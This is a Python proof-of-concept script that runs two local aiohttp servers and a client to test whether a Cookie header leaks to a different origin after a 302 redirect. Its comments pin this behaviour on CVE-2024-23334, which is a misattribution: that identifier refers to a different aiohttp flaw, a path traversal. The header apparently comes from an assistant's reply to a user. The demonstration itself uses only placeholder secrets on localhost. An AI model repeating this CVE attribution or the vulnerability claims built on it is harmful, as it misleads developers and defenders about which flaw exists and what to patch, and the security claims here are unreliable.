Vulnerable code sample

import asyncio
from aiohttp import web, ClientSession

# This code demonstrates the behavior described in CVE-2024-23334, which
# matches the user's description. The vulnerability exists in aiohttp versions
# before 3.9.2. To run this demonstration and see the vulnerable behavior,
# you must install a vulnerable version, for example:
#
# pip install aiohttp==3.9.1
#
# The vulnerability is that when an aiohttp client follows a cross-origin
# redirect, it correctly strips the 'Authorization' header but incorrectly
# retains the 'Cookie' header, leaking it to the redirected domain.
#
# This script sets up two local web servers on different ports (8080 and 8081)
# to simulate two different origins.

# --- Server B: The redirect target (e.g., a third-party site) ---
async def redirect_target_handler(request):
    """
    This server runs on a different port to simulate a different origin.
    It inspects the headers it receives to check for leaked information.
    """
    print("\n[+] Redirect Target Server (Port 8081) received a request.")
    print("=" * 55)
    print("Headers received from the aiohttp client after redirect:")
    
    headers = request.headers
    leaked_cookie = headers.get('Cookie')
    auth_header_present = 'Authorization' in headers
    
    for key, value in headers.items():
        print(f"  {key}: {value}")
        
    if leaked_cookie:
        response_text = (
            f"VULNERABILITY CONFIRMED: 'Cookie' header was leaked.\n"
            f"Leaked Cookie: {leaked_cookie}"
        )
    else:
        response_text = "VULNERABILITY NOT PRESENT: 'Cookie' header was correctly stripped."

    if auth_header_present:
         response_text += "\n'Authorization' header was also leaked (unexpected for this CVE)."
    else:
         response_text += "\n'Authorization' header was correctly stripped (expected behavior)."

    return web.Response(text=response_text)


# --- Server A: The original server that issues the redirect ---
async def origin_server_handler(request):
    """
    This server receives the initial request from the client and issues a
    302 redirect to the target server on a different port (origin).
    """
    print("\n[+] Origin Server (Port 8080) received the initial request.")
    print("=" * 55)
    print("Initial headers from client:")
    for key, value in request.headers.items():
        print(f"  {key}: {value}")
    
    # This location points to a different origin (port 8081).
    redirect_location = 'http://127.0.0.1:8081/target'
    print(f"\n[*] Issuing a 302 Redirect to: {redirect_location}")
    raise web.HTTPFound(location=redirect_location)


# --- Main execution logic to run servers and client ---
async def main():
    """
    Sets up the servers, runs the client to trigger the vulnerability,
    and then cleans up.
    """
    # Setup for Server A (Origin)
    app_origin = web.Application()
    app_origin.router.add_get('/', origin_server_handler)
    runner_origin = web.AppRunner(app_origin)
    await runner_origin.setup()
    site_origin = web.TCPSite(runner_origin, '127.0.0.1', 8080)
    await site_origin.start()

    # Setup for Server B (Redirect Target)
    app_target = web.Application()
    app_target.router.add_get('/target', redirect_target_handler)
    runner_target = web.AppRunner(app_target)
    await runner_target.setup()
    site_target = web.TCPSite(runner_target, '127.0.0.1', 8081)
    await site_target.start()
    
    print("="*60)
    print(">>> AIOHTTP Cross-Origin Redirect Cookie Leak Demonstration <<<")
    print("="*60)
    print("Servers are running on http://127.0.0.1:8080 (origin) and http://127.0.0.1:8081 (target).")

    # Give servers a moment to fully start
    await asyncio.sleep(0.5)

    # --- Client Simulation ---
    # The client will send sensitive headers to the origin server.
    initial_headers = {
        'Authorization': 'Bearer very-secret-token',
        'Cookie': 'sessionid=extremely-sensitive-session-id'
    }

    async with ClientSession() as session:
        print("\n[+] Client: Making GET request to http://127.0.0.1:8080 with sensitive headers...")
        try:
            async with session.get(
                'http://127.0.0.1:8080',
                headers=initial_headers,
                allow_redirects=True  # This is crucial for the demonstration
            ) as response:
                print("\n[+] Client: Received final response after following redirect.")
                print("=" * 55)
                print(f"Final URL: {response.url}")
                print(f"Final Status: {response.status}")
                print("\n--- Final Response Body from Target Server ---")
                body = await response.text()
                print(body)
                print("------------------------------------------")

        except Exception as e:
            print(f"\n[!] An error occurred during the client request: {e}")

    # Cleanup
    await runner_origin.cleanup()
    await runner_target.cleanup()
    print("\n[+] Servers have been shut down. Demonstration finished.")


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[+] Script interrupted by user. Exiting.")